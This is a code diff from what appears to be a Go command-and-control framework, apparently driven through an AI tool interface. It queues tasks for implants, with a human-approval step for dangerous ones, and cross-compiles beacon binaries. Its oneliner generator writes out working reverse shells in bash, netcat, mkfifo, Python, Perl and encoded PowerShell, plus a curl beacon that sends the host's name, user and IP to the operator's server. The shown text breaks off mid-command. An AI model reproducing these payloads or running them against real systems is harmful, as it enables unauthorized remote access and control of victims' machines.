|
||||
task := &database.C2Task{
|
||||
ID: taskID,
|
||||
SessionID: in.SessionID,
|
||||
TaskType: string(in.TaskType),
|
||||
Payload: in.Payload,
|
||||
Status: string(TaskQueued),
|
||||
Source: strOr(in.Source, "manual"),
|
||||
ConversationID: in.ConversationID,
|
||||
CreatedAt: time.Now(),
|
||||
}
|
||||
|
||||
// HITL 检查:仅当注入的 gate 认为当前会话应对统一 MCP 工具 c2_task 做人机协同时才走桥(关闭人机协同时与其它工具一致,直接入队)。
|
||||
if IsDangerousTaskType(in.TaskType) && !in.BypassHITL {
|
||||
m.mu.RLock()
|
||||
bridge := m.hitlBridge
|
||||
gate := m.hitlDangerousGate
|
||||
m.mu.RUnlock()
|
||||
convID := strings.TrimSpace(in.ConversationID)
|
||||
useBridge := bridge != nil && gate != nil && gate(convID, MCPToolC2Task)
|
||||
if useBridge {
|
||||
task.ApprovalStatus = "pending"
|
||||
if err := m.db.CreateC2Task(task); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
m.publishEvent("warn", "task", in.SessionID, taskID, fmt.Sprintf("危险任务待审批: %s", in.TaskType), map[string]interface{}{
|
||||
"task_id": taskID,
|
||||
"task_type": in.TaskType,
|
||||
})
|
||||
payloadBytes, _ := json.Marshal(in.Payload)
|
||||
ctx := HITLUserContext(in.UserCtx)
|
||||
if ctx == nil {
|
||||
ctx = context.Background()
|
||||
}
|
||||
go func() {
|
||||
err := bridge.RequestApproval(ctx, HITLApprovalRequest{
|
||||
TaskID: taskID,
|
||||
SessionID: in.SessionID,
|
||||
TaskType: string(in.TaskType),
|
||||
PayloadJSON: string(payloadBytes),
|
||||
ConversationID: in.ConversationID,
|
||||
Source: task.Source,
|
||||
Reason: fmt.Sprintf("C2 危险任务 %s", in.TaskType),
|
||||
})
|
||||
if err != nil {
|
||||
rejected := "rejected"
|
||||
failed := string(TaskFailed)
|
||||
errMsg := "HITL 拒绝: " + err.Error()
|
||||
_ = m.db.UpdateC2Task(taskID, database.C2TaskUpdate{
|
||||
ApprovalStatus: &rejected,
|
||||
Status: &failed,
|
||||
Error: &errMsg,
|
||||
})
|
||||
m.publishEvent("warn", "task", in.SessionID, taskID, errMsg, nil)
|
||||
return
|
||||
}
|
||||
approved := "approved"
|
||||
_ = m.db.UpdateC2Task(taskID, database.C2TaskUpdate{ApprovalStatus: &approved})
|
||||
m.publishEvent("info", "task", in.SessionID, taskID, "危险任务已批准", nil)
|
||||
}()
|
||||
return task, nil
|
||||
}
|
||||
// 未接桥或会话未开启人机协同 / 工具在白名单:直接入队
|
||||
task.ApprovalStatus = "approved"
|
||||
}
|
||||
|
||||
if err := m.db.CreateC2Task(task); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
m.publishEvent("info", "task", in.SessionID, taskID, fmt.Sprintf("任务已入队: %s", in.TaskType), map[string]interface{}{
|
||||
"task_id": taskID,
|
||||
"task_type": in.TaskType,
|
||||
"source": task.Source,
|
||||
})
|
||||
return task, nil
|
||||
}
|
||||
|
||||
// CancelTask 取消队列中的任务(已 sent/running 的暂不支持回滚)
|
||||
func (m *Manager) CancelTask(taskID string) error {
|
||||
t, err := m.db.GetC2Task(taskID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if t == nil {
|
||||
return ErrTaskNotFound
|
||||
}
|
||||
if t.Status != string(TaskQueued) && t.Status != string(TaskSent) {
|
||||
return &CommonError{Code: "task_running", Message: "任务已在执行,无法取消", HTTP: 409}
|
||||
}
|
||||
cancelled := string(TaskCancelled)
|
||||
now := time.Now()
|
||||
if err := m.db.UpdateC2Task(taskID, database.C2TaskUpdate{Status: &cancelled, CompletedAt: &now}); err != nil {
|
||||
return err
|
||||
}
|
||||
m.publishEvent("info", "task", t.SessionID, taskID, "任务已取消", nil)
|
||||
return nil
|
||||
}
|
||||
|
||||
// PopTasksForBeacon beacon check_in 后调用:取该会话所有 queued+approved 的任务,
|
||||
// 内部已置为 sent;返回 TaskEnvelope,便于 listener 直接编码下发。
|
||||
func (m *Manager) PopTasksForBeacon(sessionID string, limit int) ([]TaskEnvelope, error) {
|
||||
tasks, err := m.db.PopQueuedC2Tasks(sessionID, limit)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out := make([]TaskEnvelope, 0, len(tasks))
|
||||
for _, t := range tasks {
|
||||
out = append(out, TaskEnvelope{TaskID: t.ID, TaskType: t.TaskType, Payload: t.Payload})
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// IngestTaskResult beacon 回传任务结果的统一入口
|
||||
func (m *Manager) IngestTaskResult(report TaskResultReport) error {
|
||||
if strings.TrimSpace(report.TaskID) == "" {
|
||||
return ErrInvalidInput
|
||||
}
|
||||
t, err := m.db.GetC2Task(report.TaskID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if t == nil {
|
||||
return ErrTaskNotFound
|
||||
}
|
||||
|
||||
startedAt := time.Unix(0, report.StartedAt*int64(time.Millisecond))
|
||||
endedAt := time.Unix(0, report.EndedAt*int64(time.Millisecond))
|
||||
if report.StartedAt == 0 {
|
||||
startedAt = time.Now()
|
||||
}
|
||||
if report.EndedAt == 0 {
|
||||
endedAt = time.Now()
|
||||
}
|
||||
|
||||
status := string(TaskSuccess)
|
||||
if !report.Success {
|
||||
status = string(TaskFailed)
|
||||
}
|
||||
duration := endedAt.Sub(startedAt).Milliseconds()
|
||||
upd := database.C2TaskUpdate{
|
||||
Status: &status,
|
||||
ResultText: &report.Output,
|
||||
Error: &report.Error,
|
||||
StartedAt: &startedAt,
|
||||
CompletedAt: &endedAt,
|
||||
DurationMS: &duration,
|
||||
}
|
||||
|
||||
// blob(如截图)落盘
|
||||
if len(report.BlobBase64) > 0 {
|
||||
blobPath, err := m.saveResultBlob(t.ID, report.BlobBase64, report.BlobSuffix)
|
||||
if err == nil {
|
||||
upd.ResultBlobPath = &blobPath
|
||||
} else {
|
||||
m.logger.Warn("结果 blob 落盘失败", zap.Error(err), zap.String("task_id", t.ID))
|
||||
}
|
||||
}
|
||||
|
||||
if err := m.db.UpdateC2Task(t.ID, upd); err != nil {
|
||||
return err
|
||||
}
|
||||
t.Status = status
|
||||
t.ResultText = report.Output
|
||||
t.Error = report.Error
|
||||
|
||||
level := "info"
|
||||
msg := fmt.Sprintf("任务完成: %s", t.TaskType)
|
||||
if !report.Success {
|
||||
level = "warn"
|
||||
msg = fmt.Sprintf("任务失败: %s (%s)", t.TaskType, report.Error)
|
||||
}
|
||||
m.publishEvent(level, "task", t.SessionID, t.ID, msg, map[string]interface{}{
|
||||
"task_id": t.ID,
|
||||
"task_type": t.TaskType,
|
||||
"duration": duration,
|
||||
})
|
||||
|
||||
m.mu.RLock()
|
||||
hook := m.hooks.OnTaskCompleted
|
||||
m.mu.RUnlock()
|
||||
if hook != nil {
|
||||
go hook(t, t.SessionID)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Manager) saveResultBlob(taskID, b64Content, suffix string) (string, error) {
|
||||
suffix = strings.TrimSpace(suffix)
|
||||
if suffix == "" {
|
||||
suffix = ".bin"
|
||||
}
|
||||
if !strings.HasPrefix(suffix, ".") {
|
||||
suffix = "." + suffix
|
||||
}
|
||||
dir := filepath.Join(m.storageDir, "results")
|
||||
if err := osMkdirAll(dir, 0o755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
path := filepath.Join(dir, taskID+suffix)
|
||||
data, err := base64Decode(b64Content)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := osWriteFile(path, data, 0o644); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return path, nil
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------------
|
||||
// 事件总线辅助
|
||||
// ----------------------------------------------------------------------------
|
||||
|
||||
// publishEvent 同步写 c2_events 表 + 投放到内存事件总线
|
||||
func (m *Manager) publishEvent(level, category, sessionID, taskID, message string, data map[string]interface{}) {
|
||||
id := "e_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14]
|
||||
now := time.Now()
|
||||
e := &database.C2Event{
|
||||
ID: id,
|
||||
Level: level,
|
||||
Category: category,
|
||||
SessionID: sessionID,
|
||||
TaskID: taskID,
|
||||
Message: message,
|
||||
Data: data,
|
||||
CreatedAt: now,
|
||||
}
|
||||
if err := m.db.AppendC2Event(e); err != nil {
|
||||
m.logger.Warn("写 C2 事件失败", zap.Error(err), zap.String("category", category))
|
||||
}
|
||||
m.bus.Publish(&Event{
|
||||
ID: id,
|
||||
Level: level,
|
||||
Category: category,
|
||||
SessionID: sessionID,
|
||||
TaskID: taskID,
|
||||
Message: message,
|
||||
Data: data,
|
||||
CreatedAt: now,
|
||||
})
|
||||
}
|
||||
|
||||
// PublishCustomEvent 给外部组件(HITL 桥 / handler)写自定义事件用
|
||||
func (m *Manager) PublishCustomEvent(level, category, sessionID, taskID, message string, data map[string]interface{}) {
|
||||
m.publishEvent(level, category, sessionID, taskID, message, data)
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------------
|
||||
// 工具函数
|
||||
// ----------------------------------------------------------------------------
|
||||
|
||||
func strOr(s, def string) string {
|
||||
if strings.TrimSpace(s) == "" {
|
||||
return def
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// getListenerConfig loads and parses the listener's config JSON from DB.
|
||||
func (m *Manager) getListenerConfig(listenerID string) *ListenerConfig {
|
||||
listener, err := m.db.GetC2Listener(listenerID)
|
||||
if err != nil || listener == nil {
|
||||
return nil
|
||||
}
|
||||
cfg := &ListenerConfig{}
|
||||
if listener.ConfigJSON != "" && listener.ConfigJSON != "{}" {
|
||||
_ = json.Unmarshal([]byte(listener.ConfigJSON), cfg)
|
||||
}
|
||||
return cfg
|
||||
}
|
||||
|
||||
// GetProfile loads a C2Profile from DB by ID.
|
||||
func (m *Manager) GetProfile(profileID string) (*database.C2Profile, error) {
|
||||
if strings.TrimSpace(profileID) == "" {
|
||||
return nil, nil
|
||||
}
|
||||
return m.db.GetC2Profile(profileID)
|
||||
}
|
||||
@@ -0,0 +1,308 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"strconv"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"text/template"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// PayloadBuilderInput 构建 beacon 的输入参数
|
||||
type PayloadBuilderInput struct {
|
||||
ListenerID string // l_xxx
|
||||
OS string // linux|windows|darwin
|
||||
Arch string // amd64|arm64|386
|
||||
SleepSeconds int
|
||||
JitterPercent int
|
||||
OutputName string // custom output filename (without extension); defaults to "beacon_<os>_<arch>"
|
||||
// Host 非空时作为植入端回连地址(覆盖监听器的 bind_host / 0.0.0.0 自动探测)
|
||||
Host string
|
||||
}
|
||||
|
||||
// PayloadBuilder 负责从模板生成并交叉编译 beacon 二进制
|
||||
type PayloadBuilder struct {
|
||||
manager *Manager
|
||||
logger *zap.Logger
|
||||
tmplDir string // 模板目录,如 internal/c2/payload_templates
|
||||
outputDir string // 输出目录,如 tmp/c2/payloads
|
||||
}
|
||||
|
||||
// NewPayloadBuilder 创建构建器
|
||||
func NewPayloadBuilder(manager *Manager, logger *zap.Logger, tmplDir, outputDir string) *PayloadBuilder {
|
||||
if tmplDir == "" {
|
||||
tmplDir = "internal/c2/payload_templates"
|
||||
}
|
||||
if outputDir == "" {
|
||||
outputDir = "tmp/c2/payloads"
|
||||
}
|
||||
return &PayloadBuilder{
|
||||
manager: manager,
|
||||
logger: logger,
|
||||
tmplDir: tmplDir,
|
||||
outputDir: outputDir,
|
||||
}
|
||||
}
|
||||
|
||||
// BuildResult 构建结果
|
||||
type BuildResult struct {
|
||||
PayloadID string `json:"payload_id"`
|
||||
ListenerID string `json:"listener_id"`
|
||||
OutputPath string `json:"output_path"`
|
||||
DownloadPath string `json:"download_path"` // 磁盘上的绝对路径
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
SizeBytes int64 `json:"size_bytes"`
|
||||
}
|
||||
|
||||
// BuildBeacon 交叉编译生成 beacon 二进制
|
||||
func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, error) {
|
||||
listener, err := b.manager.DB().GetC2Listener(in.ListenerID)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("get listener: %w", err)
|
||||
}
|
||||
if listener == nil {
|
||||
return nil, ErrListenerNotFound
|
||||
}
|
||||
|
||||
lt := strings.ToLower(listener.Type)
|
||||
|
||||
cfg := &ListenerConfig{}
|
||||
if listener.ConfigJSON != "" {
|
||||
_ = parseJSON(listener.ConfigJSON, cfg)
|
||||
}
|
||||
cfg.ApplyDefaults()
|
||||
|
||||
// 确定目标架构
|
||||
goos := strings.ToLower(in.OS)
|
||||
goarch := strings.ToLower(in.Arch)
|
||||
if goos == "" {
|
||||
goos = "linux"
|
||||
}
|
||||
if goarch == "" {
|
||||
goarch = "amd64"
|
||||
}
|
||||
|
||||
// 读取模板
|
||||
tmplPath := filepath.Join(b.tmplDir, "beacon.go.tmpl")
|
||||
tmplData, err := os.ReadFile(tmplPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read template: %w", err)
|
||||
}
|
||||
|
||||
// 模板参数:请求 Host > 监听器 callback_host > bind 推导(见 ResolveBeaconDialHost)
|
||||
host := ResolveBeaconDialHost(listener, in.Host, b.logger, listener.ID)
|
||||
serverURL := fmt.Sprintf("%s://%s:%d",
|
||||
listenerTypeToScheme(listener.Type),
|
||||
host,
|
||||
listener.BindPort,
|
||||
)
|
||||
|
||||
transport := "http"
|
||||
tcpDialAddr := ""
|
||||
transportMeta := "http_beacon"
|
||||
switch lt {
|
||||
case "tcp_reverse":
|
||||
transport = "tcp"
|
||||
tcpDialAddr = net.JoinHostPort(host, strconv.Itoa(listener.BindPort))
|
||||
transportMeta = "tcp_beacon"
|
||||
case "https_beacon":
|
||||
transportMeta = "https_beacon"
|
||||
case "websocket":
|
||||
transportMeta = "websocket"
|
||||
}
|
||||
|
||||
data := map[string]string{
|
||||
"Transport": transport,
|
||||
"TCPDialAddr": tcpDialAddr,
|
||||
"TransportMetadata": transportMeta,
|
||||
"ServerURL": serverURL,
|
||||
"ImplantToken": listener.ImplantToken,
|
||||
"AESKeyB64": listener.EncryptionKey,
|
||||
"SleepSeconds": fmt.Sprintf("%d", firstPositive(in.SleepSeconds, cfg.DefaultSleep, 5)),
|
||||
"JitterPercent": fmt.Sprintf("%d", clamp(in.JitterPercent, 0, 100)),
|
||||
"CheckInPath": cfg.BeaconCheckInPath,
|
||||
"TasksPath": cfg.BeaconTasksPath,
|
||||
"ResultPath": cfg.BeaconResultPath,
|
||||
"UploadPath": cfg.BeaconUploadPath,
|
||||
"FilePath": cfg.BeaconFilePath,
|
||||
"UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
|
||||
}
|
||||
|
||||
// 执行模板
|
||||
tmpl, err := template.New("beacon").Parse(string(tmplData))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("parse template: %w", err)
|
||||
}
|
||||
|
||||
// 创建工作目录
|
||||
workDir := filepath.Join(b.outputDir, "build-"+uuid.New().String()[:8])
|
||||
if err := os.MkdirAll(workDir, 0755); err != nil {
|
||||
return nil, fmt.Errorf("mkdir: %w", err)
|
||||
}
|
||||
defer os.RemoveAll(workDir) // 清理
|
||||
|
||||
srcPath := filepath.Join(workDir, "main.go")
|
||||
f, err := os.Create(srcPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("create source: %w", err)
|
||||
}
|
||||
if err := tmpl.Execute(f, data); err != nil {
|
||||
f.Close()
|
||||
return nil, fmt.Errorf("execute template: %w", err)
|
||||
}
|
||||
f.Close()
|
||||
|
||||
// 交叉编译
|
||||
binName := strings.TrimSpace(in.OutputName)
|
||||
if binName == "" {
|
||||
binName = fmt.Sprintf("beacon_%s_%s", goos, goarch)
|
||||
}
|
||||
if goos == "windows" && !strings.HasSuffix(binName, ".exe") {
|
||||
binName += ".exe"
|
||||
}
|
||||
binPath := filepath.Join(b.outputDir, binName)
|
||||
|
||||
if err := os.MkdirAll(b.outputDir, 0755); err != nil {
|
||||
return nil, fmt.Errorf("mkdir output: %w", err)
|
||||
}
|
||||
|
||||
absSrcPath, err := filepath.Abs(srcPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("abs source path: %w", err)
|
||||
}
|
||||
absBinPath, err := filepath.Abs(binPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("abs output path: %w", err)
|
||||
}
|
||||
cmd := exec.Command("go", "build", "-ldflags", "-s -w -buildid=", "-trimpath", "-o", absBinPath, absSrcPath)
|
||||
cmd.Env = append(os.Environ(),
|
||||
"GOOS="+goos,
|
||||
"GOARCH="+goarch,
|
||||
"CGO_ENABLED=0",
|
||||
)
|
||||
cmd.Dir = workDir
|
||||
output, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
b.logger.Error("beacon build failed", zap.String("output", string(output)), zap.Error(err))
|
||||
return nil, fmt.Errorf("build failed: %w (output: %s)", err, string(output))
|
||||
}
|
||||
|
||||
// 获取文件大小
|
||||
info, err := os.Stat(binPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("stat output: %w", err)
|
||||
}
|
||||
|
||||
payloadID := "p_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14]
|
||||
return &BuildResult{
|
||||
PayloadID: payloadID,
|
||||
ListenerID: listener.ID,
|
||||
OutputPath: absBinPath,
|
||||
DownloadPath: absBinPath,
|
||||
OS: goos,
|
||||
Arch: goarch,
|
||||
SizeBytes: info.Size(),
|
||||
}, nil
|
||||
}
|
||||
|
||||
func listenerTypeToScheme(t string) string {
|
||||
switch strings.ToLower(t) {
|
||||
case "https_beacon":
|
||||
return "https"
|
||||
case "websocket":
|
||||
return "ws"
|
||||
case "http_beacon":
|
||||
return "http"
|
||||
default:
|
||||
return "http"
|
||||
}
|
||||
}
|
||||
|
||||
func firstPositive(vals ...int) int {
|
||||
for _, v := range vals {
|
||||
if v > 0 {
|
||||
return v
|
||||
}
|
||||
}
|
||||
return 1
|
||||
}
|
||||
|
||||
func clamp(v, min, max int) int {
|
||||
if v < min {
|
||||
return min
|
||||
}
|
||||
if v > max {
|
||||
return max
|
||||
}
|
||||
return v
|
||||
}
|
||||
|
||||
// GetPayloadStoragePath 返回 payload 存储目录的绝对路径
|
||||
func (b *PayloadBuilder) GetPayloadStoragePath() string {
|
||||
abs, _ := filepath.Abs(b.outputDir)
|
||||
return abs
|
||||
}
|
||||
|
||||
// GetSupportedOSArch 返回支持的操作系统和架构列表
|
||||
func GetSupportedOSArch() map[string][]string {
|
||||
return map[string][]string{
|
||||
"linux": {"amd64", "arm64", "386", "arm"},
|
||||
"windows": {"amd64", "arm64", "386"},
|
||||
"darwin": {"amd64", "arm64"},
|
||||
}
|
||||
}
|
||||
|
||||
// ValidateOSArch 验证 OS/Arch 组合是否可编译
|
||||
func ValidateOSArch(os, arch string) bool {
|
||||
supported := GetSupportedOSArch()
|
||||
arches, ok := supported[strings.ToLower(os)]
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
for _, a := range arches {
|
||||
if a == strings.ToLower(arch) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// detectExternalIP returns the first non-loopback IPv4 address, or "" if none found.
|
||||
func detectExternalIP() string {
|
||||
ifaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
for _, iface := range ifaces {
|
||||
if iface.Flags&net.FlagLoopback != 0 || iface.Flags&net.FlagUp == 0 {
|
||||
continue
|
||||
}
|
||||
addrs, err := iface.Addrs()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, addr := range addrs {
|
||||
ipnet, ok := addr.(*net.IPNet)
|
||||
if !ok || ipnet.IP.To4() == nil {
|
||||
continue
|
||||
}
|
||||
return ipnet.IP.String()
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func parseJSON(s string, v interface{}) error {
|
||||
if strings.TrimSpace(s) == "" || s == "{}" {
|
||||
return nil
|
||||
}
|
||||
return json.Unmarshal([]byte(s), v)
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/binary"
|
||||
)
|
||||
|
||||
// b64StdEncode 用标准 base64 编码字节
|
||||
func b64StdEncode(s string) string {
|
||||
return base64.StdEncoding.EncodeToString([]byte(s))
|
||||
}
|
||||
|
||||
// utf16LEBase64 把字符串转 UTF-16LE 后再 base64,用于 PowerShell -EncodedCommand
|
||||
// (Windows PowerShell 接受这种格式,避免命令行特殊字符引起转义错误)
|
||||
func utf16LEBase64(s string) string {
|
||||
runes := []rune(s)
|
||||
buf := make([]byte, 0, len(runes)*2)
|
||||
for _, r := range runes {
|
||||
// 注意:>0xFFFF 的字符需要代理对,但 PowerShell 命令通常都在 BMP 内
|
||||
var enc [2]byte
|
||||
binary.LittleEndian.PutUint16(enc[:], uint16(r))
|
||||
buf = append(buf, enc[:]...)
|
||||
}
|
||||
return base64.StdEncoding.EncodeToString(buf)
|
||||
}
|
||||
@@ -0,0 +1,190 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/url"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// OnelinerKind 单行 payload 的语言/形式
|
||||
type OnelinerKind string
|
||||
|
||||
const (
|
||||
OnelinerBash OnelinerKind = "bash" // bash 反弹(TCP reverse listener)
|
||||
OnelinerNc OnelinerKind = "nc" // netcat 反弹
|
||||
OnelinerNcMkfifo OnelinerKind = "nc_mkfifo" // 通过 mkfifo 双向(部分 nc 不支持 -e)
|
||||
OnelinerPython OnelinerKind = "python" // python socket 反弹
|
||||
OnelinerPerl OnelinerKind = "perl" // perl 反弹
|
||||
OnelinerPowerShell OnelinerKind = "powershell" // PowerShell TCP 反弹(IEX 风格)
|
||||
OnelinerCurl OnelinerKind = "curl_beacon" // 用 curl 周期性轮询 HTTP beacon(无需二进制)
|
||||
)
|
||||
|
||||
// AllOnelinerKinds 所有支持的 oneliner 类型
|
||||
func AllOnelinerKinds() []OnelinerKind {
|
||||
return []OnelinerKind{
|
||||
OnelinerBash, OnelinerNc, OnelinerNcMkfifo,
|
||||
OnelinerPython, OnelinerPerl,
|
||||
OnelinerPowerShell, OnelinerCurl,
|
||||
}
|
||||
}
|
||||
|
||||
// tcpOnelinerKinds 仅支持 tcp_reverse 监听器的裸 TCP 反弹类型
|
||||
var tcpOnelinerKinds = map[OnelinerKind]bool{
|
||||
OnelinerBash: true,
|
||||
OnelinerNc: true,
|
||||
OnelinerNcMkfifo: true,
|
||||
OnelinerPython: true,
|
||||
OnelinerPerl: true,
|
||||
OnelinerPowerShell: true,
|
||||
}
|
||||
|
||||
// httpOnelinerKinds 支持 http_beacon / https_beacon 监听器的类型
|
||||
var httpOnelinerKinds = map[OnelinerKind]bool{
|
||||
OnelinerCurl: true,
|
||||
}
|
||||
|
||||
// OnelinerKindsForListener 根据监听器类型返回兼容的 oneliner 类型列表
|
||||
func OnelinerKindsForListener(listenerType string) []OnelinerKind {
|
||||
switch ListenerType(listenerType) {
|
||||
case ListenerTypeTCPReverse:
|
||||
return []OnelinerKind{
|
||||
OnelinerBash, OnelinerNc, OnelinerNcMkfifo,
|
||||
OnelinerPython, OnelinerPerl, OnelinerPowerShell,
|
||||
}
|
||||
case ListenerTypeHTTPBeacon, ListenerTypeHTTPSBeacon, ListenerTypeWebSocket:
|
||||
return []OnelinerKind{OnelinerCurl}
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// IsOnelinerCompatible 检查 oneliner 类型是否与监听器类型兼容
|
||||
func IsOnelinerCompatible(listenerType string, kind OnelinerKind) bool {
|
||||
switch ListenerType(listenerType) {
|
||||
case ListenerTypeTCPReverse:
|
||||
return tcpOnelinerKinds[kind]
|
||||
case ListenerTypeHTTPBeacon, ListenerTypeHTTPSBeacon, ListenerTypeWebSocket:
|
||||
return httpOnelinerKinds[kind]
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// OnelinerInput 生成 oneliner 的入参
|
||||
type OnelinerInput struct {
|
||||
Kind OnelinerKind
|
||||
Host string // 攻击机回连地址(IP/域名)
|
||||
Port int // 监听端口
|
||||
HTTPBaseURL string // HTTPS Beacon 时使用,如 https://x.com
|
||||
ImplantToken string // HTTP Beacon 鉴权 token
|
||||
}
|
||||
|
||||
// GenerateOneliner 生成单行 payload。
|
||||
// 设计要点:
|
||||
// - 不依赖目标机预装的可执行(除该 oneliner 关键的 bash/python/perl 等);
|
||||
// - 不引入引号嵌套陷阱:使用 base64/url 编码避免 shell 转义错误;
|
||||
// - 同时返回执行示例,便于 AI 在对话里直接展示给操作员。
|
||||
func GenerateOneliner(in OnelinerInput) (string, error) {
|
||||
host := strings.TrimSpace(in.Host)
|
||||
if host == "" {
|
||||
return "", fmt.Errorf("host is required")
|
||||
}
|
||||
switch in.Kind {
|
||||
case OnelinerBash:
|
||||
if err := SafeBindPort(in.Port); err != nil {
|
||||
return "", err
|
||||
}
|
||||
// 用 bash -c 包裹,确保在 zsh/sh 等非 bash shell 中也能正确执行
|
||||
// /dev/tcp 是 bash 特有的伪设备,必须由 bash 进程解释
|
||||
return fmt.Sprintf(`bash -c 'bash -i >& /dev/tcp/%s/%d 0>&1'`, host, in.Port), nil
|
||||
|
||||
case OnelinerNc:
|
||||
if err := SafeBindPort(in.Port); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return fmt.Sprintf(`nc -e /bin/sh %s %d`, host, in.Port), nil
|
||||
|
||||
case OnelinerNcMkfifo:
|
||||
if err := SafeBindPort(in.Port); err != nil {
|
||||
return "", err
|
||||
}
|
||||
// 双向 mkfifo 写法,对没有 -e 的 nc/openbsd-nc 也能用
|
||||
return fmt.Sprintf(
|
||||
`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %d >/tmp/f`,
|
||||
host, in.Port,
|
||||
), nil
|
||||
|
||||
case OnelinerPython:
|
||||
if err := SafeBindPort(in.Port); err != nil {
|
||||
return "", err
|
||||
}
|
||||
// python -c 单引号包裹,内部用三引号或转义会引发兼容性问题,改用 base64 解码再 exec
|
||||
py := fmt.Sprintf(
|
||||
`import socket,os,pty;s=socket.socket();s.connect(("%s",%d));[os.dup2(s.fileno(),x) for x in (0,1,2)];pty.spawn("/bin/sh")`,
|
||||
host, in.Port,
|
||||
)
|
||||
// 用 b64 包装规避目标 shell 引号问题
|
||||
return fmt.Sprintf(
|
||||
`python3 -c "import base64,sys;exec(base64.b64decode('%s').decode())"`,
|
||||
b64StdEncode(py),
|
||||
), nil
|
||||
|
||||
case OnelinerPerl:
|
||||
if err := SafeBindPort(in.Port); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return fmt.Sprintf(
|
||||
`perl -e 'use Socket;$i="%s";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`,
|
||||
host, in.Port,
|
||||
), nil
|
||||
|
||||
case OnelinerPowerShell:
|
||||
if err := SafeBindPort(in.Port); err != nil {
|
||||
return "", err
|
||||
}
|
||||
// PowerShell TCP 反弹(不依赖 .NET old 版本)
|
||||
ps := fmt.Sprintf(
|
||||
`$c=New-Object System.Net.Sockets.TcpClient('%s',%d);$s=$c.GetStream();[byte[]]$b=0..65535|%%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$o=(iex $d 2>&1|Out-String);$o2=$o+'PS '+(pwd).Path+'> ';$by=([text.encoding]::ASCII).GetBytes($o2);$s.Write($by,0,$by.Length);$s.Flush()};$c.Close()`,
|
||||
host, in.Port,
|
||||
)
|
||||
return fmt.Sprintf(
|
||||
`powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand %s`,
|
||||
utf16LEBase64(ps),
|
||||
), nil
|
||||
|
||||
case OnelinerCurl:
|
||||
if strings.TrimSpace(in.HTTPBaseURL) == "" {
|
||||
return "", fmt.Errorf("http_base_url is required for curl_beacon")
|
||||
}
|
||||
if strings.TrimSpace(in.ImplantToken) == "" {
|
||||
return "", fmt.Errorf("implant_token is required for curl_beacon")
|
||||
}
|
||||
base := strings.TrimRight(in.HTTPBaseURL, "/")
|
||||
return fmt.Sprintf(
|
||||
`bash -c 'H="X-Implant-Token: %s";`+
|
||||
`URL="%s";`+
|
||||
`HN=$(hostname 2>/dev/null||echo unknown);`+
|
||||
`UN=$(whoami 2>/dev/null||echo unknown);`+
|
||||
`OS=$(uname -s 2>/dev/null||echo unknown);`+
|
||||
`AR=$(uname -m 2>/dev/null||echo unknown);`+
|
||||
`IP=$(hostname -I 2>/dev/null|awk "{print \$1}"||echo "");`+
|
||||
`SID="";`+
|
||||
`while :;do `+
|
||||
`BODY="{\"hostname\":\"$HN\",\"username\":\"$UN\",\"os\":\"$OS\",\"arch\":\"$AR\",\"internal_ip\":\"$IP\",\"pid\":$$}";`+
|
||||
`R=$(curl -fsSk -H "$H" -H "Content-Type: application/json" -X POST "$URL/check_in" -d "$BODY" 2>/dev/null);`+
|
||||
